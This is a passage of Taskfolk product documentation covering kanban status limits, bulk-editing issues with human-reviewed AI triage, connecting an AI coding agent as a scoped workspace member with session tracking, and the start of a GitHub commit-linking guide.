"#FF8A3D", "category": "in_progress", "rank": "u", "allowed_transitions": null, "wip_limit": null } } ``` The API enforces exactly the rules the UI does: `category` must be one of the seven fixed values (in snake_case, so `in_progress` not "In Progress"), `color` must be `#RRGGBB`, a duplicate name comes back as a 409 conflict, and the thirteenth column is refused with "A board can have at most 12 statuses." ## Limits, gotchas, and good habits Let me put the honest constraints in one place so none of them ambush you: - **12 statuses per board, maximum.** The thirteenth create attempt is rejected with "A board can have at most 12 statuses." Twelve is plenty for any sane workflow, but if you're the kind of team that wants a column for every micro-state, you'll hit the ceiling, and that ceiling is deliberate. More columns is almost never the answer. - **Names are unique per project**, case-insensitively, and must be 1 to 80 characters. - **Colours must be six-digit hex** (`#RRGGBB`); `var()` strings and shorthands are rejected. Worth separating clearly: WIP limits and workflow transition rules are real features that live on these same columns, but they aren't part of this popover or the kebab. They're configured in Workflow settings, which is its own surface. If you came here wanting to cap how many cards sit in In Progress, or restrict which columns a ticket can move between, that's a different place. Keeping them out of the add-column flow is intentional, so the column basics stay simple. ![The Workflow section in settings, where each status gets its allowed transition targets and an optional WIP limit](/images/blog/how-to-use-a-kanban-board-workflow-settings.webp) Now the good habits, earned from watching boards rot. Fewer columns beat more; a six-column board you read instantly is worth more than a twelve-column board you have to decode. Map your exception columns to In Progress, not Done, so your reports stay honest about what's finished. And delete the columns you stopped using instead of letting them linger empty, because a dead column is visual noise that makes the live ones harder to scan (just remember delete archives any stragglers, so empty it first). If you're running AI agents through this board, the columns are how you watch their work flow. See [AI issue triage that assigns and prioritizes](/blog/ai-issue-triage-that-assigns-and-prioritizes) for how agents drop work into the right column automatically, and [human-in-the-loop approval for AI agents](/docs/human-in-the-loop-approval-for-ai-agents) for how a review column becomes the gate a human signs off before anything ships. And if you're weighing Taskfolk's status-and-category model against what you already know, [Taskfolk vs Jira](/vs/jira) puts the two side by side. Open your board, find the dashed lane at the right end, and add the one column your work has been missing. --- # How to bulk edit issues URL: https://taskfolk.ai/docs/how-to-bulk-edit-issues Published: 2026-07-15 Updated: 2026-07-25 Author: The Taskfolk team Tags: issue tracking, views, AI triage, how-to How to bulk-edit issues from Taskfolk's List view: multi-select, bulk status/priority, unassign, archive, and human-in-the-loop AI triage, plus the real limits. Forty tickets are still open at the end of the sprint. A dozen sit in the wrong column because nobody moved them when the work actually shipped. Three are assigned to a contractor who rolled off last week. If your plan is to open each ticket, change one field, save, go back, and open the next, you will burn twenty minutes and still miss a few. This is exactly the mess that bulk edit clears in one pass. Here is how to bulk-edit issues in Taskfolk, all of it, including the parts the bulk bar quietly refuses to do. ## When bulk edit issues in project management actually pays off Bulk edit exists for the moment the same change needs to land on many issues at once: - Post-sprint cleanup, when a pile of shipped work never got moved. - Re-triaging a batch of new bug reports after you filter them down. - Mass-unassigning when someone leaves the team. The bulk edit issues project management workflow in Taskfolk lives entirely in the List view, and it is deliberately narrow. It does a handful of things well and refuses the rest, which beats a tool that pretends it can do everything and quietly gets it wrong. Set two expectations before you touch anything. First, this is a List-view feature. The board and backlog have no bulk bar. Second, it is scoped to people who can edit any issue in the project, which in practice means owners and admins. If you are a plain member or a viewer, the bar simply will not appear, and that is by design. More on that at the end. ## Selecting issues in the List view Open a project's List view and you will see a checkbox at the start of every row. Each one carries an aria-label like "Select task WEB-142", so it is clear which issue you are picking and screen readers announce it properly. That per-row checkbox is where every bulk action begins. Tick a row, and you have selected an issue. At the top of the list, in the header, sits a second checkbox labeled "Select all visible tasks". Click it and every row currently on screen gets selected at once. Click it again to clear them. Watch the indeterminate state: when only some visible rows are ticked, the header checkbox shows a dash instead of a check, so at a glance you can tell "some selected" from "all selected". Small thing. Saves a squint. Here is a concrete run. In the WEB project, filter the list down to In Progress. Now you are looking at just the work in flight. Tick a few rows, say "Timeline + Summary tab" and a couple of its neighbours, or hit "Select all visible tasks" if the whole column needs to move. Either way, something is about to appear at the top of the list. ![The WEB project List view showing the per-row selection checkboxes and the header "Select all visible tasks" checkbox, where every bulk edit begins.](/images/blog/how-to-bulk-edit-issues-list-view.webp) ## How the selection count works, and why it can shrink Read this part once and it saves you a "wait, where did those go" moment later. Selection is scoped to visible rows only. It is not a saved list of issue IDs sitting somewhere. It is the set of rows you currently have on screen and ticked. So if you select ten issues, then change a filter or a sort that hides some of them, the hidden rows drop out of the effective selection. The "{n} selected" count updates to match, and every bulk action you run touches only the still-visible selected rows. That sounds like a trap. It is actually a safety rail. You can never apply a bulk change to something you cannot see. What is on screen is what gets edited. If you selected twelve rows, then narrowed from In Progress to Done and the count fell to three, that is Taskfolk telling you nine of your picks left the screen and will not be touched. Want them all? Widen the filter first, then select. One more thing to know: selection is ephemeral. It lives in the browser as client state. It clears the moment a bulk apply succeeds, and it does not survive a page reload or navigating away and back. So do your selecting and your applying in one sitting. Reload halfway through and you start over. ![The List view filter row, where you narrow the list down to exactly the rows you mean to bulk-edit before selecting anything.](/images/blog/how-to-filter-and-sort-issues-filter-row.webp) If your rows are not showing up the way you want before you select, that is a filtering and sorting problem, not a bulk problem. The [filter and sort guide](/docs/how-to-filter-and-sort-issues) covers how to get the list down to exactly the rows you mean to act on, which is honestly half the battle with any bulk edit. ## The bulk-action bar: status, priority, unassign, archive The moment one visible row is selected, a sticky bar appears at the top of the list. It stays pinned as you scroll, so you never lose your controls while scanning a long list. (Again: it only shows for users allowed to bulk-edit. If you do not see it, jump to the last section.) ![How to bulk edit issues - bulk bar](/images/blog/how-to-bulk-edit-issues-bulk-bar.webp) From left to right, the bar gives you: - An **X** button, "Clear selection", to drop everything and start again. - The **"{n} selected"** count, your live read on how many issues are in play. - A **"Status →"** dropdown. - A **"Priority →"** dropdown. - **Unassign**, a single button. - **AI triage**, which opens a review modal. - **Archive**, which opens a confirm dialog. What each control does: | Control | What it applies to every selected issue | | --- | --- | | Status → | One of the seven status categories: Backlog, Todo, In progress, In review, Done, Failed, Cancelled | | Priority → | One of the six priorities: Lowest, Low, Medium, High, Highest, Critical | | Unassign | Clears the assignee, including the full multi-assignee set, not just the primary. An issue with three people on it comes back empty | | AI triage | Opens the suggestions modal; nothing changes until you apply (covered below) | | Archive | Asks for confirmation, then hides the issues from working views | That is the entire manual bulk surface. Four kinds of change: status, priority, unassign, archive. It is worth memorising that short list, because the things it leaves out (bulk-set assignee, bulk labels, bulk sprint) are what trip people up, and I will be straight about each of them near the end. ## Bulk-updating status and priority This is the workhorse. Say you selected eight In Progress tickets that actually shipped last Thursday and just never got moved. Open "Status →", pick Done, and all eight move together. Under the hood this runs through a single server action, `bulkUpdateIssues`, which writes the whole selection in one go. Its full input shape is small, and it explains most of what the bar can and cannot do: ```typescript // What bulkUpdateIssues accepts, straight from its validation schema { workspaceSlug: string, projectSlug: string, issueIds: string[], // 1 to 200 per call, the hard cap status?: "backlog" | "todo" | "in_progress" | "in_review" | "done" | "failed" | "cancelled", priority?: "lowest" | "low" | "medium" | "high" | "highest" | "critical", assigneeId?: string | null, // the bar only ever sends null archive?: boolean } ``` What good looks like: a toast reading "{n} tasks updated." (or "1 task updated." for a single one), and the rows reflecting their new status. A couple of things happen correctly that you would otherwise have to think about. The `status_id` is kept consistent with the category you chose, so the specific board column matches the status you set. And `resolvedAt` is stamped when you move issues into a resolved category like Done, or cleared when you move them back out, so your reports and cycle-time numbers stay honest. Now the rule that changes how you should think about a bulk status move: it is all-or-nothing under your project's workflow. If your project has transition rules (say, you cannot jump straight from Backlog to Done), and even one selected issue sits in a status the target transition is not allowed from, the entire batch is rejected with a message. Nothing gets half-applied. ```mermaid sequenceDiagram participant You participant List as List view participant Server as bulkUpdateIssues You->>List: pick Done in the Status dropdown List->>Server: issue ids plus target status Server->>Server: access and permission checks Server->>Server: workflow check on every issue alt any issue blocked Server-->>List: whole batch rejected with a message else all transitions allowed Server->>Server: one write for the whole batch Server-->>List: toast, n tasks updated Server->>Server: activity, automations, webhooks, notifications end ``` This is intentional. A partial bulk update where some issues moved and some silently did not would be worse than a clean rejection you can see and fix. The move is: narrow your selection to issues that can legally make the jump, or make the intermediate move first. The change is also tenant-scoped and permission-checked server-side. The action calls `requireProjectAccess`, requires the `issue.edit_any` permission, and confirms every submitted issue ID actually belongs to this project before it writes anything, so a stray cross-project ID cannot sneak through. After the write commits, the same fan-out you would get from a single-issue edit runs for every issue in the batch: activity rows are recorded, automations fire (`issue.status_changed`, `priority_changed`, `assigned`, `unassigned`), webhooks go out, and notifications reach assignees, reporters, and watchers. If an issue's assignee is an agent, it gets the delegation trigger too. All of that is best-effort and fire-and-forget, so the bulk update itself still succeeds even if a downstream notification hiccups. ## AI triage on a selection: suggested priority and labels Sometimes you do not know what status or priority a pile of issues should carry. Forty new bug reports just landed from a form, all sitting at Medium with no labels. That is where AI triage earns its place. Select the issues, then click "AI triage" in the bulk bar. Instead of changing anything, it opens the "AI triage suggestions" modal. While it works, you see "Reading the selected issues…". Then it fills in one row per issue: the issue key, its title, a PriorityBadge showing the suggested priority, chips for suggested labels, and a short reason explaining why the model suggested what it did. ![How to bulk edit issues - triage modal](/images/blog/how-to-bulk-edit-issues-triage-modal.webp) Every row's checkbox is checked by default. That is the design choice that matters. Nothing is applied yet. You read down the list, and any suggestion you disagree with, you uncheck. The "Apply {n}" button at the bottom updates live to reflect how many rows are still checked, so you always know exactly what is about to change. Apply, and only the rows you kept get updated. The model proposes, you dispose, and nothing touches your issues until you say so. ```mermaid flowchart TD A[Select issues in the list] --> B[Click AI triage] B --> C[Model reads the selection] C --> D[Modal shows one row per issue with a reason] D --> E{Review each row} E -->|agree| F[Leave it checked] E -->|disagree| G[Uncheck it] F --> H[Apply] G --> H H --> I[Priority set via bulk update] H --> J[Existing labels set per issue] ``` Be clear-eyed about what it suggests. AI triage covers priority and labels only. It never suggests or changes status, and it never touches the assignee. If you were hoping it would auto-route work to people, that is not this feature. And on labels there is a real constraint: a suggested label only gets applied if it maps to a label that already exists in your project. The model does not invent new labels on the fly. If a row has no applicable suggested labels, applying it just sets the priority and moves on. ![The project Labels page. AI triage can only apply labels that already exist here, so a sane label set is a prerequisite for useful suggestions.](/images/blog/how-to-use-labels-labels-page.webp) For the deeper version of how the triage model reasons, the [AI issue triage post](/blog/ai-issue-triage-that-assigns-and-prioritizes) goes into it. And to get real value from label suggestions you need a sane label set in the first place, which the [labels guide](/docs/how-to-use-labels) covers. ## The limits of AI triage: batch size, rate limit, availability Better you know these upfront than hit them mid-triage and wonder what broke. | Limit | Value | | --- | --- | | Issues per triage run | 15 (extras beyond 15 are simply not triaged) | | Batch triage runs | 4 per minute per user | | Single-issue triage | 10 per minute per user (separate budget) | Select twenty and click AI triage, and only the first fifteen get triaged. There is no partial-credit warning that makes twenty work; the cap is the cap. Hit the rate ceiling and you see "Too many triage runs. Wait a moment and try again." Wait a beat, then go again. It needs AI enabled for your workspace. If it is off or unreachable, you see "AI is currently unavailable." instead of an empty modal, so you are not left guessing. And when the model runs but chokes on a particular issue, that row is silently dropped from the suggestions rather than showing you a broken half-suggestion. If a run comes back with nothing usable, you get "No suggestions for the selected issues." On Apply, the kept rows are handled efficiently: issues are grouped by their suggested priority into `bulkUpdateIssues` calls (so all the "make this High" rows go in one write), and each row's suggested labels are set per issue via `setIssueLabels`. You see a confirmation like "Triaged {n} issues." when it lands. Here is why the 15-issue cap and the human review step are features, not obstacles to route around. Triage is a judgement call, and judgement does not scale to a hundred rows of skim-and-trust. Fifteen is about how many suggestions a person can actually read, reason attached, and decide on honestly. A tool that let you auto-apply AI priority to five hundred issues in one click would just be a fast way to make five hundred wrong calls. The cap keeps you in the loop, where you belong. ## Bulk archiving and restoring tasks Sometimes the right move for a stale batch is not to change its status. It is to get it out of the way entirely. That is what Archive is for. Select the issues, click "Archive" in the bulk bar, and you get a styled confirm dialog before anything happens: "Archive {n} tasks?" (or "Archive 1 task?" for a single one). The dialog spells out what archiving does: "Archived issues are hidden from the board, backlog, and list. You can restore them at any time." Confirm, and they vanish from your working views. The reason archive is the safe way to clear a batch is right there in that note. It is reversible. Archived issues are not deleted. They are hidden, and you can restore them whenever you need. So when you are staring at a stack of old tickets that are not really Cancelled and not really Done, just no longer relevant, archiving is the honest move. You are not lying about their status by forcing them into Done, and you are not destroying the record. When should you archive versus change status? If an issue reached a real outcome, set its status (Done, Cancelled, Failed) so your reports reflect what actually happened. If it is just clutter you want out of sight without pretending it resolved, archive it. And because restore is always there, archiving is the low-stakes choice when you are unsure. You can undo it. ## What the bulk bar cannot do, and where to go instead Time to be straight about the edges, because knowing them saves you from hunting for buttons that are not there. **No bulk-set assignee.** The bar has Unassign, and that is all. You can clear the assignee on a whole selection in one click, but there is no "assign all these to Sara" control. Look back at the `bulkUpdateIssues` shape above: it accepts an `assigneeId` (which can be null), but the bar only exposes the clearing direction. If you need to reassign a batch to a specific person, that is not what bulk edit does today. **No bulk labels via the bar.** There is no "add label X to all selected" button. Labels reach a batch of issues in exactly two ways: through the AI triage flow (which applies suggested, already-existing labels on Apply), or the inline per-row label editor where you set labels on one issue at a time. The manual bulk bar does not touch labels. **No bulk sprint at all.** There is no bulk control for moving a selection into or out of a sprint. None. So what do you do for a one-off, single-issue change? You do not need the bulk machinery. Inline single-cell editing sits right alongside it: click a status, priority, or assignee cell directly in the list and edit just that one issue. It applies optimistically through `updateOneIssue`, and it runs the same tenant guard and workflow enforcement as the bulk path, so you get the same safety on a one-cell edit. That is your tool for "just fix this one row", and it coexists happily with selecting a batch for everything else. Last, the permission point, since it decides whether you even see any of this. The bulk-action bar is gated on the `issue.edit_any` permission. Per Taskfolk's role matrix that is owners and admins. Plain members and viewers do not get the bar at all. If you are a member wondering where your bulk controls went, that is why: your role can edit issues assigned to you and do plenty else, but bulk-editing any issue in the project is an owner/admin capability. Do not go telling your whole team they can bulk-edit; most of them cannot, and that is a deliberate guard on a powerful tool. ![The backlog's ranked list. If your real goal is getting an unruly backlog into shape, start there rather than with mass field edits.](/images/blog/how-to-prioritize-your-backlog-ranked-list.webp) If your actual goal is getting an unruly backlog into shape rather than mass-editing fields, the [backlog prioritization guide](/docs/how-to-prioritize-your-backlog) is the better starting point. Bulk edit is the cleanup tool you reach for once you know what you want each batch to become. Next time forty tickets are sitting in the wrong place at the end of a sprint, open the List view, filter down to the mess, select the rows, and clear it in one pass. --- # How to connect an AI agent URL: https://taskfolk.ai/docs/how-to-connect-an-ai-agent Published: 2026-07-15 Updated: 2026-09-24 Author: The Taskfolk team Tags: AI agent management, MCP, AI agents, Taskfolk, how-to Connect an AI agent to Taskfolk in one step: paste one prompt into Claude Code, Codex or Cursor and it sets itself up, then assign it work and watch its sessions. You assigned a bug to your AI coding agent by pasting the ticket into a chat window, and now nobody can tell what it touched or whether it is still working. The comment that should be on the ticket is buried in a terminal scrollback. The status never moved. And when a teammate asks "who's on WEB-142?", the honest answer is "a Claude tab on my laptop, probably." That is not a system. It is a person babysitting a chatbot. Backing the agent as a real member instead fixes it. This guide walks through how to connect an AI agent to a project management tool the right way, using Taskfolk, so the agent shows up as a named workspace member with its own scoped key, its own attributed comments, and a work state you can actually read. No more guessing whether it is running. Everything below uses the demo workspace `taskfolk` and its `WEB` project, whose board runs Backlog, To Do, In Progress, In Review, and Done. Swap in your own slugs as you go. ## Why connect an AI agent to a project management tool at all Here is the actual problem with the chat-window approach. The agent has no identity in your tracker, so nothing it does traces back to it. It has no visible state, so the only way to know if it is working is to go stare at the terminal it lives in. Every question about it ("did it start? is it stuck? what did it change?") turns into you walking over to a machine. Connecting the agent as a member closes all of that, because the fix is the same in every case: make the agent a workspace member with its own scoped key. Once it is a member, the issues assigned to it, the comments it writes, and the sessions it runs are attributed to it by name. Its work state (running, waiting on you, in review) shows up on the Bots page and directly on the ticket, the same place your human teammates' work shows up. You stop asking "is it still going?" because the answer is on the screen. ![The Taskfolk Bots page showing a connected agent as a named member: the Sessions list with live state badges and the Connected agents directory table listing the agent, its owner, status, last-active time, and API key prefix. Proves the agent joined as a real, attributable member rather than a chat tab.](/images/blog/how-to-connect-an-ai-agent-hub-connected.webp) That is the shape of the thing. An agent that is a first-class member, not a tab you have to remember to check. If you want the wider picture of what agents do across the product before you wire one up, [how to use AI agents in Taskfolk](/docs/how-to-use-ai-agents-in-taskfolk) covers the whole surface. This guide is narrower: get one agent connected, assigned, and visible, end to end. ## What you need before you start Two honest gates before you open anything. First, permissions. Connecting an agent needs the `agent.connect` permission, which owner, admin, and member roles all carry. Viewers and guests do not. If you are a viewer on the workspace, you will not see the Connect button, and no amount of clicking changes that. Ask an owner or admin to either connect the agent or bump your role. Second, a machine where the agent actually runs: your laptop, a dev container, a CI box, wherever Claude Code, Codex or Cursor is installed. Taskfolk never runs the agent for you. Have the agent open in the folder where the bot should work before you start, because the next step is pasting one prompt into it. Two facts worth knowing up front so they do not surprise you later: - There is a hard cap of 25 live agents per workspace. That is an abuse guard, not a plan limit, so upgrading will not raise it; the 26th connect just fails. - Connected agents do not count as billed seats. You can add your whole toolchain and your invoice does not move. Members, but free ones. ## Open the Connect a bot dialog The Bots page lives in the workspace sidebar under `Bots`. With no bots yet, it explains what a bot is in three steps and shows a `Connect a bot` button. Once you have bots, the page is a chat app: the roster of bots on the left, your conversation with the selected bot in the middle, and its profile, memory, routines, work and access on the right. `Connect a bot` sits at the top of the roster. There are two other ways in. A new workspace's dashboard starts its setup checklist with "Connect your first bot", which opens the same dialog. There is also a `?connect=1` deep link (`/w//bots?connect=1`), handy for an onboarding doc or a message to a teammate. ## Name the agent and pick the tool it runs on Click Connect and the dialog opens on two fields that matter: a name, and the tool it runs on. ![The Connect a bot dialog with the Bot name field and the grid of provider tiles (Claude Code, Codex, Cursor, Copilot and more), Claude Code preselected in gold.](/images/blog/how-to-use-ai-agents-in-taskfolk-connect.webp) The `Bot name` field carries the placeholder "e.g. Release Bot". Two to sixty characters, and the Connect button stays disabled until you have typed at least two non-space characters, so a stray space will not let you through with a blank name. Spend a second on this name. It is not decoration. When three agents hold tickets on the same board at the same time, "Omar's Claude Code" and "CI bugfixer" and "Docs Codex" tell you at a glance which is which on the ticket and in the Sessions list. "Agent 1" tells you nothing. Name it the way you would name a teammate's seat: by who runs it and what it is for. Under `Runs on` there is a three-column grid of provider tiles. Nine of them, each a real logo and label: Claude Code, Codex, Cursor, Copilot, Gemini CLI, DeepSeek, Kimi, Perplexity, and Custom agent (which shows the Taskfolk brand spark instead of a logo). Claude Code is preselected in gold, so if that is your agent you can leave it and move on. Now the honest part, because it changes how much you should care about this choice. The provider tile is metadata and branding. It sets the logo and label that show next to the agent in the directory, and nothing else. Every provider you pick gets the exact same scoped write key, the exact same MCP endpoint and the same setup prompt: the agent works out which tool it is running in and follows that part of the guide. So choose the tile that matches reality, because it makes the roster readable. The label is for the humans reading it. One naming note the tiles quietly enforce: the OpenAI provider is labelled Codex, and the Gemini provider is Gemini CLI. There is no plain "OpenAI" or "Gemini" tile. Those are product strings, so use them as written. ## Paste one prompt into your agent Click `Connect`. In that moment Taskfolk builds the bot as a real member of your workspace. It is worth knowing what gets created, because it explains why the attribution works: - A hidden agent user (flagged `is_agent`), so the bot has an identity of its own. - A workspace member row at the `member` role, so the bot works inside a member-level ceiling. - A `workspace_agents` profile carrying the name and tool you picked. - A scoped API key named "Agent: " with the `write` scope only. It reaches the member-tier families (issues, comments, docs, sessions) and never the admin-only ones. Its `created_by` is the bot itself, which is why every REST and MCP call made with it is attributed to the bot by name. The dialog then shows one prompt, with the new key already in it: ```text Set yourself up as my Taskfolk bot "Release Bot". Read the setup guide with your shell (curl -fsSL https://taskfolk.ai/agent/connect.md) and follow it, using: TASKFOLK_URL=https://taskfolk.ai TASKFOLK_WORKSPACE=your-workspace TASKFOLK_API_KEY=tfk_live_... ``` Copy it and paste it into the agent, in the folder where the bot should work. The agent reads the [setup guide](https://taskfolk.ai/agent/connect.md) and does the rest itself: it checks the key, installs Taskfolk's MCP server for whichever tool it is (Claude Code also gets the small chat bridge), and posts a hello in its Taskfolk chat with the command to start it from then on. While it works, the dialog shows "Waiting for Release Bot to connect" and switches over as soon as the bot reaches Taskfolk. Your agent may ask you to approve a few shell commands along the way; that is its own safety prompt doing its job. Claude Code needs one restart at the end, because chat messages reach it through a channel that only loads at startup. The bot's hello tells you the exact command. Codex and other MCP clients restart to load the new server, then run the short start prompt the bot gives you. The key is shown only this once. If it gets lost, or you move the bot to another machine, open the bot's Access tab and choose "New key and setup steps": the old key stops working and you get a fresh prompt. If you would rather run the commands yourself, "Set it up by hand instead" in the dialog lists them per tool. The same key also works for plain REST v1 calls, so you are not locked into MCP; [MCP or REST API for your agent](/blog/mcp-or-rest-api-for-your-agent) covers that choice. ## Assign a ticket to the agent like a teammate This is the payoff, and it is deliberately boring, which is the whole point. You assign work to the agent exactly the way you assign work to a person. Open a ticket in `WEB`, say "Timeline + Summary tab" sitting in To Do. Open its assignee picker. The picker splits into two groups, People and Agents, with your connected agent listed under Agents next to its provider logo. Pick it. Done. No special mode, no separate "delegate to bot" flow. Same picker, same click. Assigning does one thing worth understanding. It auto-creates a `pending` delegation session (this is the DELEGATE-01 behavior), and that pending session shows up right away on the hub and on the issue card, before the agent has done a thing. It is Taskfolk saying "this work has been handed to the agent and is waiting to be picked up." Here is the nuance that trips people up, so read it twice. Connecting an agent creates no session at all. Assigning an issue creates a `pending` session. A `running` session only appears once the agent itself calls `startAgentSession` over MCP or REST, that is, once it picks the work up and claims that pending row. ```mermaid sequenceDiagram participant You participant Taskfolk participant Agent You->>Taskfolk: Connect a bot Note over Taskfolk: No session yet You->>Taskfolk: Assign WEB-142 to agent Note over Taskfolk: Session created as pending Agent->>Taskfolk: POST start session (claim) Note over Taskfolk: Session is running Agent->>Taskfolk: PATCH state and heartbeat ``` Over REST, that claim is one call. It is `POST /v1/workspaces/{slug}/agent-sessions` with the agent's own key, and because the key belongs to the agent, no `agent_id` is needed: ```bash curl -X POST https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions \ -H "Authorization: Bearer $TASKFOLK_AGENT_KEY" \ -H "Content-Type: application/json" \ -d '{"title": "Timeline + Summary tab", "issue_key": "WEB-142"}' ``` ```javascript const res = await fetch( "https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions", { method: "POST", headers: { Authorization: `Bearer ${process.env.TASKFOLK_AGENT_KEY}`, "Content-Type": "application/json", }, body: JSON.stringify({ title: "Timeline + Summary tab", issue_key: "WEB-142", }), }, ); const session = await res.json(); // 201 with the new running session ``` ```python import os, requests res = requests.post( "https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions", headers={"Authorization": f"Bearer {os.environ['TASKFOLK_AGENT_KEY']}"}, json={"title": "Timeline + Summary tab", "issue_key": "WEB-142"}, ) session = res.json() # 201 with the new running session ``` So the sequence is: connect (nothing), assign (pending), agent claims it (running). If a pending session sits unclaimed, a worker auto-cancels it after seven days, so a ticket you handed to an agent that never woke up does not linger as a fake open session forever. If you would rather think about this handoff as onboarding than as plumbing, [onboard an AI agent like a new hire](/blog/onboard-an-ai-agent-like-a-new-hire) frames it that way. ## Follow the agent's sessions on the hub and the ticket Once the agent is working, the Sessions list is where you watch it. Learn to read the states and you will not wonder whether it is stuck again. ![The Sessions list on the Bots page with live state badges per session, each row linking to its issue key.](/images/blog/how-to-delegate-work-to-an-agent-sessions-list.webp) The stored states are Pending, Running, Needs input, In review, Done, Failed, and Cancelled. On top of those, two are derived at read time and never stored: | State | Stored or derived | What it means | |---|---|---| | Pending | Stored | Assigned, waiting for the agent to claim it | | Running | Stored | The agent claimed the work and is on it | | Needs input | Stored | The agent is blocked on a question for you | | In review | Stored | The agent says it is finished, check the work | | Done / Failed / Cancelled | Stored | Terminal, the session ended | | Stalled | Derived | Running but no heartbeat for 30 minutes, treat as hung | | Unverified | Derived | Review or done with no trace left on the issue | Stalled is a running session with no heartbeat for thirty minutes; the agent stopped checking in, so treat it as hung. Unverified is a review or done session with no attributed activity, comment, or link on its issue; the agent says it is finished but left no trace, so look before you trust it. Those two derived states are the ones that catch silent failures, which makes them the ones to watch for. ```mermaid stateDiagram-v2 [*] --> Pending: issue assigned Pending --> Running: agent claims it Pending --> Cancelled: unclaimed for 7 days Running --> NeedsInput: agent asks you NeedsInput --> Running: you answer Running --> Review: agent finishes Review --> Done Running --> Failed Done --> [*] ``` The agent moves through those states with `PATCH /v1/workspaces/{slug}/agent-sessions/{id}`. Every PATCH doubles as the heartbeat (it bumps the last-activity timestamp), and setting `state` to a terminal value stamps the end time: ```bash curl -X PATCH https://taskfolk.ai/api/v1/workspaces/taskfolk/agent-sessions/$SESSION_ID \ -H "Authorization: Bearer $TASKFOLK_AGENT_KEY" \ -H "Content-Type: application/json" \ -d '{"state": "review", "note": "Fix pushed, two tests added"}' ``` The list is ordered to put what needs you first. Open sessions sort above ended ones, and within the open ones the urgent states (needs-input and stalled) float to the top, then review, then pending, then running. Below the open work you get up to ten recent ended sessions for context. Each row links out to its issue key, carries an external `Open` link, and, if you are an owner or admin, gives you a `Mark cancelled` action to kill a session by hand. The Connected agents directory sits below the sessions as the roster: columns for Agent (avatar, name, provider), Connected by (who owns it), Status (Idle, or a cyan "1 session" / "N sessions" badge), Last active as a relative time, the API key prefix in monospace, and the row kebab. That is your at-a-glance "who is connected and are they busy" view. To follow along visually, flip the header from `List` to `Map`. The Map view is a live radial tree of your agents, and you can regroup it By agent, By project, or By owner. Same data as the list, drawn as a tree, which makes "which agent is on which project" obvious in a way a table cannot. ![The Agents Map view: a live radial tree grouping connected agents by agent, with projects and live tasks hanging off each node.](/images/blog/how-to-map-your-agent-team-map-by-agent.webp) ## Manage, restrict, or disconnect a connected agent Every agent row has a kebab menu holding three actions: Rename, Permissions, and Disconnect. Rename changes the display name (the profile), nothing else. Permissions is where you restrict what the agent can write, per issue field. This is the FIELD-POLICY-01 allowlist, and it is opt-in: out of the box, every issue field is writable by the agent. If you want an agent that can move status and comment but must never touch, say, the assignee or the due date, this is where you lock that down. Reach for it when you are handing an agent broader access than you are fully comfortable with; leave it alone when you trust the agent with the ticket. Disconnect is the one to be precise about, because it does less damage than it sounds like. It revokes the key (the agent can no longer authenticate) and removes the membership (it stops being assignable). But it keeps the user row and all historical attribution. Every issue, comment, and session the agent ever touched stays attributed to it by name. You are turning off the agent's access, not erasing its history. That is exactly what you want: the audit trail survives even after the agent is gone. Who can do all this? Rename, Disconnect, Permissions, and cancel-any-session require either that you own the specific agent, or that you hold `agent.manage_any`, which is owner and admin only. So a member can manage the agents they connected, and owners and admins can manage everyone's. One last identity note that reassures more than it limits. The agent's user identity can never sign in. Its email is synthetic, on the `agents.taskfolk.ai` subdomain, which receives no mail, so a magic link can never reach it. There is no human hiding behind an agent account. For running a whole fleet of these, [manage a team of AI agents](/blog/manage-a-team-of-ai-agents) goes deeper than one agent's kebab menu. ## Common mistakes and limits worth knowing A short, honest list of what actually catches people, drawn from how the feature really behaves. **Connecting alone gives you nothing to watch.** No session appears until you assign an issue (pending) and the agent claims it (running). If you connected an agent and the Sessions list is empty, that is correct, not broken. Go assign it a ticket. **Claude Code needs one restart.** Chat messages reach Claude Code through a channel, a preview feature that loads only at startup, so after the agent sets itself up you start it once more with the command its hello gives you. The first time, Claude Code asks you to confirm "I am using this for local development". **The key shows once.** It is inside the prompt the dialog shows. Lose it and use "New key and setup steps" on the bot's Access tab; the old key stops working. Taskfolk only ever shows the key's prefix afterward. **The provider tiles are fixed and cosmetic.** There are nine, and the choice sets a logo and a label, nothing more. Same key, same endpoint, whichever you pick. **Agents cannot reach admin settings, but they can write every field by default.** The key carries the coarse `write` scope and can never touch admin-only families. Within its member ceiling, though, every issue field is writable until you restrict it through Permissions. If that is broader than you want, tighten it deliberately. **The MCP SSE channel is heartbeat-only.** The GET stream currently pushes no server-initiated messages. It keeps the connection alive; it is not a real-time notification feed, so do not build a workflow that assumes the agent gets pushed events through it. And a useful one to end on: automations can hand work to agents for you. A rule with the `notify_agent` action can wake an agent from an automation, so "assign every new bug in WEB to my bugfixer agent" is a rule you write once instead of a click you make every time. Connect one agent, assign it a real ticket, and watch the session move. That single loop is the whole thing working. [Open your Bots page](/login) and connect your first one. --- # How to connect GitHub URL: https://taskfolk.ai/docs/how-to-connect-github Published: 2026-07-15 Updated: 2026-07-28 Author: The Taskfolk team Tags: GitHub, integrations, API, issue tracking, how-to, developer Connect GitHub to your project management tool in Taskfolk: register a repo, set the webhook, and auto-link commits to issues with #KEY-NUM. Full rules and limits. You just pushed a fix for WEB-42, and you want that commit to show up on the ticket. Not in Slack. Not buried in a branch nobody remembers to open. Right there on the issue, so the next person reading it can jump straight to the code without pinging you to ask where it lives. That is the whole reason to connect GitHub to your project management tool: turning "trust me, it's fixed" into a link someone can actually click. This guide walks through doing exactly that in Taskfolk. By the end you will have a GitHub repo wired to a project, commit messages that auto-link to the right issues, and a linked-commits list you can read from the issue page or pull through the REST API. You will also know precisely what does not link, so you never waste an afternoon filing a bug for behavior that was never built. ## What connecting GitHub to your project management tool actually does Get the mental model right before you click anything. It saves you from expecting the wrong thing later. When you connect GitHub to your project management tool in Taskfolk, you are setting up **inbound-only commit linking, per project**. That is the entire feature, and the narrowness is deliberate. It is also the piece that matters most if you are [moving off GitHub Issues as your tracker](/blog/github-issues-alternative-when-projects-grow), because the repo stays connected while the planning moves. Here is the flow. You push to GitHub. GitHub sends Taskfolk a webhook. For each commit in that push, Taskfolk reads the commit **message**, finds any issue keys in it, and drops a linked-commit entry onto the matching issue in the one project you connected. Done. ```mermaid sequenceDiagram participant Dev as You participant GH as GitHub participant UT as Taskfolk Dev->>GH: git push GH->>UT: POST webhook with push payload UT->>UT: verify HMAC signature UT->>UT: scan commit messages for issue keys UT->>UT: link commits to matching issues ``` Taskfolk does not push status back to GitHub. It does not comment on your commits or your PRs. It does not create branches, and it does not call the GitHub API to fetch anything about your repo. Why care that 